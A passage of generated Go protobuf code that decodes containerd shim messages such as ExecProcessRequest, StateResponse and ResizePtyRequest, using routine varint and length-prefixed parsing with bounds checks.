iNdEx++ 3235 | m.Pid |= uint32(b&0x7F) << shift 3236 | if b < 0x80 { 3237 | break 3238 | } 3239 | } 3240 | case 2: 3241 | if wireType != 0 { 3242 | return fmt.Errorf("proto: wrong wireType = %d for field ExitStatus", wireType) 3243 | } 3244 | m.ExitStatus = 0 3245 | for shift := uint(0); ; shift += 7 { 3246 | if shift >= 64 { 3247 | return ErrIntOverflowShim 3248 | } 3249 | if iNdEx >= l { 3250 | return io.ErrUnexpectedEOF 3251 | } 3252 | b := dAtA[iNdEx] 3253 | iNdEx++ 3254 | m.ExitStatus |= uint32(b&0x7F) << shift 3255 | if b < 0x80 { 3256 | break 3257 | } 3258 | } 3259 | case 3: 3260 | if wireType != 2 { 3261 | return fmt.Errorf("proto: wrong wireType = %d for field ExitedAt", wireType) 3262 | } 3263 | var msglen int 3264 | for shift := uint(0); ; shift += 7 { 3265 | if shift >= 64 { 3266 | return ErrIntOverflowShim 3267 | } 3268 | if iNdEx >= l { 3269 | return io.ErrUnexpectedEOF 3270 | } 3271 | b := dAtA[iNdEx] 3272 | iNdEx++ 3273 | msglen |= int(b&0x7F) << shift 3274 | if b < 0x80 { 3275 | break 3276 | } 3277 | } 3278 | if msglen < 0 { 3279 | return ErrInvalidLengthShim 3280 | } 3281 | postIndex := iNdEx + msglen 3282 | if postIndex < 0 { 3283 | return ErrInvalidLengthShim 3284 | } 3285 | if postIndex > l { 3286 | return io.ErrUnexpectedEOF 3287 | } 3288 | if err := github_com_gogo_protobuf_types.StdTimeUnmarshal(&m.ExitedAt, dAtA[iNdEx:postIndex]); err != nil { 3289 | return err 3290 | } 3291 | iNdEx = postIndex 3292 | default: 3293 | iNdEx = preIndex 3294 | skippy, err := skipShim(dAtA[iNdEx:]) 3295 | if err != nil { 3296 | return err 3297 | } 3298 | if skippy < 0 { 3299 | return ErrInvalidLengthShim 3300 | } 3301 | if (iNdEx + skippy) < 0 { 3302 | return ErrInvalidLengthShim 3303 | } 3304 | if (iNdEx + skippy) > l { 3305 | return io.ErrUnexpectedEOF 3306 | } 3307 | m.XXX_unrecognized = append(m.XXX_unrecognized, dAtA[iNdEx:iNdEx+skippy]...) 3308 | iNdEx += skippy 3309 | } 3310 | } 3311 | 3312 | if iNdEx > l { 3313 | return io.ErrUnexpectedEOF 3314 | } 3315 | return nil 3316 | } 3317 | func (m *DeleteProcessRequest) Unmarshal(dAtA []byte) error { 3318 | l := len(dAtA) 3319 | iNdEx := 0 3320 | for iNdEx < l { 3321 | preIndex := iNdEx 3322 | var wire uint64 3323 | for shift := uint(0); ; shift += 7 { 3324 | if shift >= 64 { 3325 | return ErrIntOverflowShim 3326 | } 3327 | if iNdEx >= l { 3328 | return io.ErrUnexpectedEOF 3329 | } 3330 | b := dAtA[iNdEx] 3331 | iNdEx++ 3332 | wire |= uint64(b&0x7F) << shift 3333 | if b < 0x80 { 3334 | break 3335 | } 3336 | } 3337 | fieldNum := int32(wire >> 3) 3338 | wireType := int(wire & 0x7) 3339 | if wireType == 4 { 3340 | return fmt.Errorf("proto: DeleteProcessRequest: wiretype end group for non-group") 3341 | } 3342 | if fieldNum <= 0 { 3343 | return fmt.Errorf("proto: DeleteProcessRequest: illegal tag %d (wire type %d)", fieldNum, wire) 3344 | } 3345 | switch fieldNum { 3346 | case 1: 3347 | if wireType != 2 { 3348 | return fmt.Errorf("proto: wrong wireType = %d for field ID", wireType) 3349 | } 3350 | var stringLen uint64 3351 | for shift := uint(0); ; shift += 7 { 3352 | if shift >= 64 { 3353 | return ErrIntOverflowShim 3354 | } 3355 | if iNdEx >= l { 3356 | return io.ErrUnexpectedEOF 3357 | } 3358 | b := dAtA[iNdEx] 3359 | iNdEx++ 3360 | stringLen |= uint64(b&0x7F) << shift 3361 | if b < 0x80 { 3362 | break 3363 | } 3364 | } 3365 | intStringLen := int(stringLen) 3366 | if intStringLen < 0 { 3367 | return ErrInvalidLengthShim 3368 | } 3369 | postIndex := iNdEx + intStringLen 3370 | if postIndex < 0 { 3371 | return ErrInvalidLengthShim 3372 | } 3373 | if postIndex > l { 3374 | return io.ErrUnexpectedEOF 3375 | } 3376 | m.ID = string(dAtA[iNdEx:postIndex]) 3377 | iNdEx = postIndex 3378 | default: 3379 | iNdEx = preIndex 3380 | skippy, err := skipShim(dAtA[iNdEx:]) 3381 | if err != nil { 3382 | return err 3383 | } 3384 | if skippy < 0 { 3385 | return ErrInvalidLengthShim 3386 | } 3387 | if (iNdEx + skippy) < 0 { 3388 | return ErrInvalidLengthShim 3389 | } 3390 | if (iNdEx + skippy) > l { 3391 | return io.ErrUnexpectedEOF 3392 | } 3393 | m.XXX_unrecognized = append(m.XXX_unrecognized, dAtA[iNdEx:iNdEx+skippy]...) 3394 | iNdEx += skippy 3395 | } 3396 | } 3397 | 3398 | if iNdEx > l { 3399 | return io.ErrUnexpectedEOF 3400 | } 3401 | return nil 3402 | } 3403 | func (m *ExecProcessRequest) Unmarshal(dAtA []byte) error { 3404 | l := len(dAtA) 3405 | iNdEx := 0 3406 | for iNdEx < l { 3407 | preIndex := iNdEx 3408 | var wire uint64 3409 | for shift := uint(0); ; shift += 7 { 3410 | if shift >= 64 { 3411 | return ErrIntOverflowShim 3412 | } 3413 | if iNdEx >= l { 3414 | return io.ErrUnexpectedEOF 3415 | } 3416 | b := dAtA[iNdEx] 3417 | iNdEx++ 3418 | wire |= uint64(b&0x7F) << shift 3419 | if b < 0x80 { 3420 | break 3421 | } 3422 | } 3423 | fieldNum := int32(wire >> 3) 3424 | wireType := int(wire & 0x7) 3425 | if wireType == 4 { 3426 | return fmt.Errorf("proto: ExecProcessRequest: wiretype end group for non-group") 3427 | } 3428 | if fieldNum <= 0 { 3429 | return fmt.Errorf("proto: ExecProcessRequest: illegal tag %d (wire type %d)", fieldNum, wire) 3430 | } 3431 | switch fieldNum { 3432 | case 1: 3433 | if wireType != 2 { 3434 | return fmt.Errorf("proto: wrong wireType = %d for field ID", wireType) 3435 | } 3436 | var stringLen uint64 3437 | for shift := uint(0); ; shift += 7 { 3438 | if shift >= 64 { 3439 | return ErrIntOverflowShim 3440 | } 3441 | if iNdEx >= l { 3442 | return io.ErrUnexpectedEOF 3443 | } 3444 | b := dAtA[iNdEx] 3445 | iNdEx++ 3446 | stringLen |= uint64(b&0x7F) << shift 3447 | if b < 0x80 { 3448 | break 3449 | } 3450 | } 3451 | intStringLen := int(stringLen) 3452 | if intStringLen < 0 { 3453 | return ErrInvalidLengthShim 3454 | } 3455 | postIndex := iNdEx + intStringLen 3456 | if postIndex < 0 { 3457 | return ErrInvalidLengthShim 3458 | } 3459 | if postIndex > l { 3460 | return io.ErrUnexpectedEOF 3461 | } 3462 | m.ID = string(dAtA[iNdEx:postIndex]) 3463 | iNdEx = postIndex 3464 | case 2: 3465 | if wireType != 0 { 3466 | return fmt.Errorf("proto: wrong wireType = %d for field Terminal", wireType) 3467 | } 3468 | var v int 3469 | for shift := uint(0); ; shift += 7 { 3470 | if shift >= 64 { 3471 | return ErrIntOverflowShim 3472 | } 3473 | if iNdEx >= l { 3474 | return io.ErrUnexpectedEOF 3475 | } 3476 | b := dAtA[iNdEx] 3477 | iNdEx++ 3478 | v |= int(b&0x7F) << shift 3479 | if b < 0x80 { 3480 | break 3481 | } 3482 | } 3483 | m.Terminal = bool(v != 0) 3484 | case 3: 3485 | if wireType != 2 { 3486 | return fmt.Errorf("proto: wrong wireType = %d for field Stdin", wireType) 3487 | } 3488 | var stringLen uint64 3489 | for shift := uint(0); ; shift += 7 { 3490 | if shift >= 64 { 3491 | return ErrIntOverflowShim 3492 | } 3493 | if iNdEx >= l { 3494 | return io.ErrUnexpectedEOF 3495 | } 3496 | b := dAtA[iNdEx] 3497 | iNdEx++ 3498 | stringLen |= uint64(b&0x7F) << shift 3499 | if b < 0x80 { 3500 | break 3501 | } 3502 | } 3503 | intStringLen := int(stringLen) 3504 | if intStringLen < 0 { 3505 | return ErrInvalidLengthShim 3506 | } 3507 | postIndex := iNdEx + intStringLen 3508 | if postIndex < 0 { 3509 | return ErrInvalidLengthShim 3510 | } 3511 | if postIndex > l { 3512 | return io.ErrUnexpectedEOF 3513 | } 3514 | m.Stdin = string(dAtA[iNdEx:postIndex]) 3515 | iNdEx = postIndex 3516 | case 4: 3517 | if wireType != 2 { 3518 | return fmt.Errorf("proto: wrong wireType = %d for field Stdout", wireType) 3519 | } 3520 | var stringLen uint64 3521 | for shift := uint(0); ; shift += 7 { 3522 | if shift >= 64 { 3523 | return ErrIntOverflowShim 3524 | } 3525 | if iNdEx >= l { 3526 | return io.ErrUnexpectedEOF 3527 | } 3528 | b := dAtA[iNdEx] 3529 | iNdEx++ 3530 | stringLen |= uint64(b&0x7F) << shift 3531 | if b < 0x80 { 3532 | break 3533 | } 3534 | } 3535 | intStringLen := int(stringLen) 3536 | if intStringLen < 0 { 3537 | return ErrInvalidLengthShim 3538 | } 3539 | postIndex := iNdEx + intStringLen 3540 | if postIndex < 0 { 3541 | return ErrInvalidLengthShim 3542 | } 3543 | if postIndex > l { 3544 | return io.ErrUnexpectedEOF 3545 | } 3546 | m.Stdout = string(dAtA[iNdEx:postIndex]) 3547 | iNdEx = postIndex 3548 | case 5: 3549 | if wireType != 2 { 3550 | return fmt.Errorf("proto: wrong wireType = %d for field Stderr", wireType) 3551 | } 3552 | var stringLen uint64 3553 | for shift := uint(0); ; shift += 7 { 3554 | if shift >= 64 { 3555 | return ErrIntOverflowShim 3556 | } 3557 | if iNdEx >= l { 3558 | return io.ErrUnexpectedEOF 3559 | } 3560 | b := dAtA[iNdEx] 3561 | iNdEx++ 3562 | stringLen |= uint64(b&0x7F) << shift 3563 | if b < 0x80 { 3564 | break 3565 | } 3566 | } 3567 | intStringLen := int(stringLen) 3568 | if intStringLen < 0 { 3569 | return ErrInvalidLengthShim 3570 | } 3571 | postIndex := iNdEx + intStringLen 3572 | if postIndex < 0 { 3573 | return ErrInvalidLengthShim 3574 | } 3575 | if postIndex > l { 3576 | return io.ErrUnexpectedEOF 3577 | } 3578 | m.Stderr = string(dAtA[iNdEx:postIndex]) 3579 | iNdEx = postIndex 3580 | case 6: 3581 | if wireType != 2 { 3582 | return fmt.Errorf("proto: wrong wireType = %d for field Spec", wireType) 3583 | } 3584 | var msglen int 3585 | for shift := uint(0); ; shift += 7 { 3586 | if shift >= 64 { 3587 | return ErrIntOverflowShim 3588 | } 3589 | if iNdEx >= l { 3590 | return io.ErrUnexpectedEOF 3591 | } 3592 | b := dAtA[iNdEx] 3593 | iNdEx++ 3594 | msglen |= int(b&0x7F) << shift 3595 | if b < 0x80 { 3596 | break 3597 | } 3598 | } 3599 | if msglen < 0 { 3600 | return ErrInvalidLengthShim 3601 | } 3602 | postIndex := iNdEx + msglen 3603 | if postIndex < 0 { 3604 | return ErrInvalidLengthShim 3605 | } 3606 | if postIndex > l { 3607 | return io.ErrUnexpectedEOF 3608 | } 3609 | if m.Spec == nil { 3610 | m.Spec = &types1.Any{} 3611 | } 3612 | if err := m.Spec.Unmarshal(dAtA[iNdEx:postIndex]); err != nil { 3613 | return err 3614 | } 3615 | iNdEx = postIndex 3616 | default: 3617 | iNdEx = preIndex 3618 | skippy, err := skipShim(dAtA[iNdEx:]) 3619 | if err != nil { 3620 | return err 3621 | } 3622 | if skippy < 0 { 3623 | return ErrInvalidLengthShim 3624 | } 3625 | if (iNdEx + skippy) < 0 { 3626 | return ErrInvalidLengthShim 3627 | } 3628 | if (iNdEx + skippy) > l { 3629 | return io.ErrUnexpectedEOF 3630 | } 3631 | m.XXX_unrecognized = append(m.XXX_unrecognized, dAtA[iNdEx:iNdEx+skippy]...) 3632 | iNdEx += skippy 3633 | } 3634 | } 3635 | 3636 | if iNdEx > l { 3637 | return io.ErrUnexpectedEOF 3638 | } 3639 | return nil 3640 | } 3641 | func (m *ExecProcessResponse) Unmarshal(dAtA []byte) error { 3642 | l := len(dAtA) 3643 | iNdEx := 0 3644 | for iNdEx < l { 3645 | preIndex := iNdEx 3646 | var wire uint64 3647 | for shift := uint(0); ; shift += 7 { 3648 | if shift >= 64 { 3649 | return ErrIntOverflowShim 3650 | } 3651 | if iNdEx >= l { 3652 | return io.ErrUnexpectedEOF 3653 | } 3654 | b := dAtA[iNdEx] 3655 | iNdEx++ 3656 | wire |= uint64(b&0x7F) << shift 3657 | if b < 0x80 { 3658 | break 3659 | } 3660 | } 3661 | fieldNum := int32(wire >> 3) 3662 | wireType := int(wire & 0x7) 3663 | if wireType == 4 { 3664 | return fmt.Errorf("proto: ExecProcessResponse: wiretype end group for non-group") 3665 | } 3666 | if fieldNum <= 0 { 3667 | return fmt.Errorf("proto: ExecProcessResponse: illegal tag %d (wire type %d)", fieldNum, wire) 3668 | } 3669 | switch fieldNum { 3670 | default: 3671 | iNdEx = preIndex 3672 | skippy, err := skipShim(dAtA[iNdEx:]) 3673 | if err != nil { 3674 | return err 3675 | } 3676 | if skippy < 0 { 3677 | return ErrInvalidLengthShim 3678 | } 3679 | if (iNdEx + skippy) < 0 { 3680 | return ErrInvalidLengthShim 3681 | } 3682 | if (iNdEx + skippy) > l { 3683 | return io.ErrUnexpectedEOF 3684 | } 3685 | m.XXX_unrecognized = append(m.XXX_unrecognized, dAtA[iNdEx:iNdEx+skippy]...) 3686 | iNdEx += skippy 3687 | } 3688 | } 3689 | 3690 | if iNdEx > l { 3691 | return io.ErrUnexpectedEOF 3692 | } 3693 | return nil 3694 | } 3695 | func (m *ResizePtyRequest) Unmarshal(dAtA []byte) error { 3696 | l := len(dAtA) 3697 | iNdEx := 0 3698 | for iNdEx < l { 3699 | preIndex := iNdEx 3700 | var wire uint64 3701 | for shift := uint(0); ; shift += 7 { 3702 | if shift >= 64 { 3703 | return ErrIntOverflowShim 3704 | } 3705 | if iNdEx >= l { 3706 | return io.ErrUnexpectedEOF 3707 | } 3708 | b := dAtA[iNdEx] 3709 | iNdEx++ 3710 | wire |= uint64(b&0x7F) << shift 3711 | if b < 0x80 { 3712 | break 3713 | } 3714 | } 3715 | fieldNum := int32(wire >> 3) 3716 | wireType := int(wire & 0x7) 3717 | if wireType == 4 { 3718 | return fmt.Errorf("proto: ResizePtyRequest: wiretype end group for non-group") 3719 | } 3720 | if fieldNum <= 0 { 3721 | return fmt.Errorf("proto: ResizePtyRequest: illegal tag %d (wire type %d)", fieldNum, wire) 3722 | } 3723 | switch fieldNum { 3724 | case 1: 3725 | if wireType != 2 { 3726 | return fmt.Errorf("proto: wrong wireType = %d for field ID", wireType) 3727 | } 3728 | var stringLen uint64 3729 | for shift := uint(0); ; shift += 7 { 3730 | if shift >= 64 { 3731 | return ErrIntOverflowShim 3732 | } 3733 | if iNdEx >= l { 3734 | return io.ErrUnexpectedEOF 3735 | } 3736 | b := dAtA[iNdEx] 3737 | iNdEx++ 3738 | stringLen |= uint64(b&0x7F) << shift 3739 | if b < 0x80 { 3740 | break 3741 | } 3742 | } 3743 | intStringLen := int(stringLen) 3744 | if intStringLen < 0 { 3745 | return ErrInvalidLengthShim 3746 | } 3747 | postIndex := iNdEx + intStringLen 3748 | if postIndex < 0 { 3749 | return ErrInvalidLengthShim 3750 | } 3751 | if postIndex > l { 3752 | return io.ErrUnexpectedEOF 3753 | } 3754 | m.ID = string(dAtA[iNdEx:postIndex]) 3755 | iNdEx = postIndex 3756 | case 2: 3757 | if wireType != 0 { 3758 | return fmt.Errorf("proto: wrong wireType = %d for field Width", wireType) 3759 | } 3760 | m.Width = 0 3761 | for shift := uint(0); ; shift += 7 { 3762 | if shift >= 64 { 3763 | return ErrIntOverflowShim 3764 | } 3765 | if iNdEx >= l { 3766 | return io.ErrUnexpectedEOF 3767 | } 3768 | b := dAtA[iNdEx] 3769 | iNdEx++ 3770 | m.Width |= uint32(b&0x7F) << shift 3771 | if b < 0x80 { 3772 | break 3773 | } 3774 | } 3775 | case 3: 3776 | if wireType != 0 { 3777 | return fmt.Errorf("proto: wrong wireType = %d for field Height", wireType) 3778 | } 3779 | m.Height = 0 3780 | for shift := uint(0); ; shift += 7 { 3781 | if shift >= 64 { 3782 | return ErrIntOverflowShim 3783 | } 3784 | if iNdEx >= l { 3785 | return io.ErrUnexpectedEOF 3786 | } 3787 | b := dAtA[iNdEx] 3788 | iNdEx++ 3789 | m.Height |= uint32(b&0x7F) << shift 3790 | if b < 0x80 { 3791 | break 3792 | } 3793 | } 3794 | default: 3795 | iNdEx = preIndex 3796 | skippy, err := skipShim(dAtA[iNdEx:]) 3797 | if err != nil { 3798 | return err 3799 | } 3800 | if skippy < 0 { 3801 | return ErrInvalidLengthShim 3802 | } 3803 | if (iNdEx + skippy) < 0 { 3804 | return ErrInvalidLengthShim 3805 | } 3806 | if (iNdEx + skippy) > l { 3807 | return io.ErrUnexpectedEOF 3808 | } 3809 | m.XXX_unrecognized = append(m.XXX_unrecognized, dAtA[iNdEx:iNdEx+skippy]...) 3810 | iNdEx += skippy 3811 | } 3812 | } 3813 | 3814 | if iNdEx > l { 3815 | return io.ErrUnexpectedEOF 3816 | } 3817 | return nil 3818 | } 3819 | func (m *StateRequest) Unmarshal(dAtA []byte) error { 3820 | l := len(dAtA) 3821 | iNdEx := 0 3822 | for iNdEx < l { 3823 | preIndex := iNdEx 3824 | var wire uint64 3825 | for shift := uint(0); ; shift += 7 { 3826 | if shift >= 64 { 3827 | return ErrIntOverflowShim 3828 | } 3829 | if iNdEx >= l { 3830 | return io.ErrUnexpectedEOF 3831 | } 3832 | b := dAtA[iNdEx] 3833 | iNdEx++ 3834 | wire |= uint64(b&0x7F) << shift 3835 | if b < 0x80 { 3836 | break 3837 | } 3838 | } 3839 | fieldNum := int32(wire >> 3) 3840 | wireType := int(wire & 0x7) 3841 | if wireType == 4 { 3842 | return fmt.Errorf("proto: StateRequest: wiretype end group for non-group") 3843 | } 3844 | if fieldNum <= 0 { 3845 | return fmt.Errorf("proto: StateRequest: illegal tag %d (wire type %d)", fieldNum, wire) 3846 | } 3847 | switch fieldNum { 3848 | case 1: 3849 | if wireType != 2 { 3850 | return fmt.Errorf("proto: wrong wireType = %d for field ID", wireType) 3851 | } 3852 | var stringLen uint64 3853 | for shift := uint(0); ; shift += 7 { 3854 | if shift >= 64 { 3855 | return ErrIntOverflowShim 3856 | } 3857 | if iNdEx >= l { 3858 | return io.ErrUnexpectedEOF 3859 | } 3860 | b := dAtA[iNdEx] 3861 | iNdEx++ 3862 | stringLen |= uint64(b&0x7F) << shift 3863 | if b < 0x80 { 3864 | break 3865 | } 3866 | } 3867 | intStringLen := int(stringLen) 3868 | if intStringLen < 0 { 3869 | return ErrInvalidLengthShim 3870 | } 3871 | postIndex := iNdEx + intStringLen 3872 | if postIndex < 0 { 3873 | return ErrInvalidLengthShim 3874 | } 3875 | if postIndex > l { 3876 | return io.ErrUnexpectedEOF 3877 | } 3878 | m.ID = string(dAtA[iNdEx:postIndex]) 3879 | iNdEx = postIndex 3880 | default: 3881 | iNdEx = preIndex 3882 | skippy, err := skipShim(dAtA[iNdEx:]) 3883 | if err != nil { 3884 | return err 3885 | } 3886 | if skippy < 0 { 3887 | return ErrInvalidLengthShim 3888 | } 3889 | if (iNdEx + skippy) < 0 { 3890 | return ErrInvalidLengthShim 3891 | } 3892 | if (iNdEx + skippy) > l { 3893 | return io.ErrUnexpectedEOF 3894 | } 3895 | m.XXX_unrecognized = append(m.XXX_unrecognized, dAtA[iNdEx:iNdEx+skippy]...) 3896 | iNdEx += skippy 3897 | } 3898 | } 3899 | 3900 | if iNdEx > l { 3901 | return io.ErrUnexpectedEOF 3902 | } 3903 | return nil 3904 | } 3905 | func (m *StateResponse) Unmarshal(dAtA []byte) error { 3906 | l := len(dAtA) 3907 | iNdEx := 0 3908 | for iNdEx < l { 3909 | preIndex := iNdEx 3910 | var wire uint64 3911 | for shift := uint(0); ; shift += 7 { 3912 | if shift >= 64 { 3913 | return ErrIntOverflowShim 3914 | } 3915 | if iNdEx >= l { 3916 | return io.ErrUnexpectedEOF 3917 | } 3918 | b := dAtA[iNdEx] 3919 | iNdEx++ 3920 | wire |= uint64(b&0x7F) << shift 3921 | if b < 0x80 { 3922 | break 3923 | } 3924 | } 3925 | fieldNum := int32(wire >> 3) 3926 | wireType := int(wire & 0x7) 3927 | if wireType == 4 { 3928 | return fmt.Errorf("proto: StateResponse: wiretype end group for non-group") 3929 | } 3930 | if fieldNum <= 0 { 3931 | return fmt.Errorf("proto: StateResponse: illegal tag %d (wire type %d)", fieldNum, wire) 3932 | } 3933 | switch fieldNum { 3934 | case 1: 3935 | if wireType != 2 { 3936 | return fmt.Errorf("proto: wrong wireType = %d for field ID", wireType) 3937 | } 3938 | var stringLen uint64 3939 | for shift := uint(0); ; shift += 7 { 3940 | if shift >= 64 { 3941 | return ErrIntOverflowShim 3942 | } 3943 | if iNdEx >= l { 3944 | return io.ErrUnexpectedEOF 3945 | } 3946 | b := dAtA[iNdEx] 3947 | iNdEx++ 3948 | stringLen |= uint64(b&0x7F) << shift 3949 | if b < 0x80 { 3950 | break 3951 | } 3952 | } 3953 | intStringLen := int(stringLen) 3954 | if intStringLen < 0 { 3955 | return ErrInvalidLengthShim 3956 | } 3957 | postIndex := iNdEx + intStringLen 3958 | if postIndex < 0 { 3959 | return ErrInvalidLengthShim 3960 | } 3961 | if postIndex > l { 3962 | return io.ErrUnexpectedEOF 3963 | } 3964 | m.ID = string(dAtA[iNdEx:postIndex]) 3965 | iNdEx = postIndex 3966 | case 2: 3967 | if wireType != 2 { 3968 | return fmt.Errorf("proto: wrong wireType = %d for field Bundle", wireType) 3969 | } 3970 | var stringLen uint64 3971 | for shift := uint(0); ; shift += 7 { 3972 | if shift >= 64 { 3973 | return ErrIntOverflowShim 3974 | } 3975 | if iNdEx >= l { 3976 | return io.ErrUnexpectedEOF 3977 | } 3978 | b := dAtA[iNdEx] 3979 | iNdEx++ 3980 | stringLen |= uint64(b&0x7F) << shift 3981 | if b < 0x80 { 3982 | break 3983 | } 3984 | } 3985 | intStringLen := int(stringLen) 3986 | if intStringLen < 0 { 3987 | return ErrInvalidLengthShim 3988 | } 3989 | postIndex := iNdEx + intStringLen 3990 | if postIndex < 0 { 3991 | return ErrInvalidLengthShim 3992 | } 3993 | if postIndex > l { 3994 | return io.ErrUnexpectedEOF 3995 | } 3996 | m.Bundle = string(dAtA[iNdEx:postIndex]) 3997 | iNdEx = postIndex 3998 | case 3: 3999 | if wireType != 0 { 4000 | return fmt.Errorf("proto: wrong wireType = %d for field Pid", wireType) 4001 | } 4002 | m.Pid = 0 4003 | for shift := uint(0); ; shift += 7 { 4004 | if shift >= 64 { 4005 | return ErrIntOverflowShim 4006 | } 4007 | if iNdEx >= l { 4008 | return io.ErrUnexpectedEOF 4009 | } 4010 | b := dAtA[iNdEx] 4011 | iNdEx++ 4012 | m.Pid |= uint32(b&0x7F) << shift 4013 | if b < 0x80 { 4014 | break 4015 | } 4016 | } 4017 | case 4: 4018 | if wireType != 0 { 4019 | return fmt.Errorf("proto: wrong wireType = %d for field Status", wireType) 4020 | } 4021 | m.Status = 0 4022 | for shift := uint(0); ; shift += 7 { 4023 | if shift >= 64 { 4024 | return ErrIntOverflowShim 4025 | } 4026 | if iNdEx >= l { 4027 | return io.ErrUnexpectedEOF 4028 | } 4029 | b := dAtA[iNdEx] 4030 | iNdEx++ 4031 | m.Status |= task.Status(b&0x7F) << shift 4032 | if b < 0x80 { 4033 | break 4034 | } 4035 | } 4036 | case 5: 4037 | if wireType != 2 { 4038 | return fmt.Errorf("proto: wrong wireType = %d for field Stdin", wireType) 4039 | } 4040 | var stringLen uint64 4041 | for shift := uint(0); ; shift += 7 { 4042 | if shift >= 64 { 4043 | return ErrIntOverflowShim 4044 | } 4045 | if iNdEx >= l { 4046 | return io.ErrUnexpectedEOF 4047 | } 4048 | b := dAtA[iNdEx] 4049 | iNdEx++ 4050 | stringLen |= uint64(b&0x7F) << shift 4051 | if b < 0x80 { 4052 | break 4053 | } 4054 | } 4055 | intStringLen := int(stringLen) 4056 | if intStringLen < 0 { 4057 | return ErrInvalidLengthShim 4058 | } 4059 | postIndex := iNdEx + intStringLen 4060 | if postIndex < 0 { 4061 | return ErrInvalidLengthShim 4062 | } 4063 | if postIndex > l { 4064 | return io.ErrUnexpectedEOF 4065 | } 4066 | m.Stdin = string(dAtA[iNdEx:postIndex]) 4067 | iNdEx = postIndex 4068 | case 6: 4069 | if wireType != 2 { 4070 | return fmt.Errorf("proto: wrong wireType = %d for field Stdout", wireType) 4071 | } 4072 | var stringLen uint64 4073 | for shift := uint(0); ; shift += 7 { 4074 | if shift >= 64 { 4075 | return ErrIntOverflowShim 4076 | } 4077 | if iNdEx >= l { 4078 | return io.ErrUnexpectedEOF 4079 | } 4080 | b := dAtA[iNdEx] 4081 | iNdEx++ 4082 | stringLen |= uint64(b&0x7F) << shift 4083 | if b < 0x80 { 4084 | break 4085 | } 4086 | } 4087 | intStringLen := int(stringLen) 4088 | if intStringLen < 0 { 4089 | return ErrInvalidLengthShim 4090 | } 4091 | postIndex := iNdEx + intStringLen 4092 | if postIndex < 0 { 4093 | return ErrInvalidLengthShim 4094 | } 4095 | if postIndex > l { 4096 | return io.ErrUnexpectedEOF 4097 | } 4098 | m.Stdout = string(dAtA[iNdEx:postIndex]) 4099 | iNdEx = postIndex 4100 | case 7: 4101 | if wireType != 2 { 4102 | return fmt.Errorf("proto: wrong wireType = %d for field Stderr", wireType) 4103 | } 4104 | var stringLen uint64 4105 | for shift := uint(0); ; shift += 7 { 4106 | if shift >= 64 { 4107 | return ErrIntOverflowShim 4108 | } 4109 | if iNdEx >= l { 4110 | return io.ErrUnexpectedEOF 4111 | } 4112 | b := dAtA[iNdEx] 4113 | iNdEx++ 4114 | stringLen |= uint64(b&0x7F) << shift 4115 | if b < 0x80 { 4116 | break 4117 | } 4118 | } 4119 | intStringLen := int(stringLen) 4120 | if intStringLen < 0 { 4121 | return ErrInvalidLengthShim 4122 | } 4123 | postIndex := iNdEx + intStringLen 4124 | if postIndex < 0 { 4125 | return ErrInvalidLengthShim 4126 | } 4127 | if postIndex > l { 4128 | return io.ErrUnexpectedEOF 4129 | } 4130 | m.Stderr = string(dAtA[iNdEx:postIndex]) 4131 | iNdEx = postIndex 4132 | case 8: 4133 | if wireType != 0 { 4134 | return fmt.Errorf("proto: wrong wireType = %d for field Terminal", wireType) 4135 | } 4136 | var v int 4137 | for shift := uint(0); ; shift += 7 { 4138 | if shift >= 64 { 4139 | return ErrIntOverflowShim 4140 | } 4141 | if iNdEx >= l { 4142 | return io.ErrUnexpectedEOF 4143 | } 4144 | b := dAtA[iNdEx] 4145 | iNdEx++ 4146 | v |= int(b&0x7F) << shift 4147 | if b < 0x80 { 4148 | break 4149 | } 4150 | } 4151 | m.Terminal = bool(v != 0) 4152 | case 9: 4153 | if wireType != 0 { 4154 | return fmt.Errorf("proto: wrong wireType = %d for field ExitStatus", wireType) 4155 | } 4156 | m.ExitStatus = 0 4157 | for shift := uint(0); ; shift += 7 { 4158 | if shift >= 64 { 4159 | return ErrIntOverflowShim 4160 | } 4161 | if iNdEx >= l { 4162 | return io.ErrUnexpectedEOF 4163 | } 4164 | b := dAtA[iNdEx] 4165 | iNdEx++ 4166 | m.ExitStatus |= uint32(b&0x7F) << shift 4167 | if b < 0x80 { 4168 | break 4169 | } 4170 | } 4171 | case 10: 4172 | if wireType != 2 { 4173 | return fmt.Errorf("proto: wrong wireType = %d for field ExitedAt", wireType) 4174 | } 4175 | var msglen int 4176 | for shift := uint(0); ; shift += 7 { 4177 | if shift >= 64 { 4178 | return ErrIntOverflowShim 4179 | } 4180 | if iNdEx >= l { 4181 | return io.ErrUnexpectedEOF 4182 | } 4183 | b := dAtA[iNdEx] 4184 | iNdEx++ 4185 | msglen |= int(b&0x7F) << shift 4186 | if b < 0x80 { 4187 | break 4188 | } 4189 | } 4190 | if msglen < 0 { 4191 | return ErrInvalidLengthShim 4192 | } 4193 | postIndex := iNdEx + msglen 4194 | if postIndex < 0 { 4195 | return ErrInvalidLengthShim 4196 | } 4197 | if postIndex > l { 4198 | return io.ErrUnexpectedEOF 4199 | } 4200 | if err := github_com_gogo_protobuf_types.StdTimeUnmarshal(&m.ExitedAt, dAtA[iNdEx:postIndex]); err != nil { 4201 | return err 4202 | } 4203 | iNdEx = postIndex 4204 | default: 4205 | iNdEx = preIndex 4206 | skippy, err := skipShim(dAtA[iNdEx:]) 4207 | if err != nil { 4208 | return err 4209 | } 4210 | if skippy < 0 { 4211 | return ErrInvalidLengthShim 4212 | } 4213 | if (iNdEx + skippy) < 0 { 4214 | return ErrInvalidLengthShim 4215 | } 4216 | if (iNdEx + skippy) > l { 4217 | return io.ErrUnexpectedEOF 4218 | } 4219 | m.XXX_unrecognized = append(m.XXX_unrecognized, dAtA[iNdEx:iNdEx+skippy]...) 4220 | iNdEx += skippy 4221 | } 4222 | } 4223 | 4224 | if iNdEx > l { 4225 | return io.ErrUnexpectedEOF 4226 | } 4227 | return nil 4228 | } 4229 | func (m *KillRequest) Unmarshal(dAtA []byte) error { 4230 | l := len(dAtA) 4231 | iNdEx := 0 4232 | for iNdEx < l { 4233 | preIndex := iNdEx 4234 | var wire uint64 4235 | for shift := uint(0); ; shift += 7 { 4236 | if shift >= 64 { 4237 | return ErrIntOverflowShim 4238 | } 4239 | if iNdEx >= l { 4240 | return io.ErrUnexpectedEOF 4241 | } 4242 | b := dAtA[iNdEx] 4243 | iNdEx++ 4244 | wire |= uint64(b&0x7F) << shift 4245 | if b < 0x80 { 4246 | break 4247 | } 4248 | } 4249 | fieldNum := int32(wire >> 3) 4250 | wireType := int(wire & 0x7) 4251 | if wireType == 4 { 4252 | return fmt.Errorf("proto: KillRequest: wiretype end group for non-group") 4253 | } 4254 | if 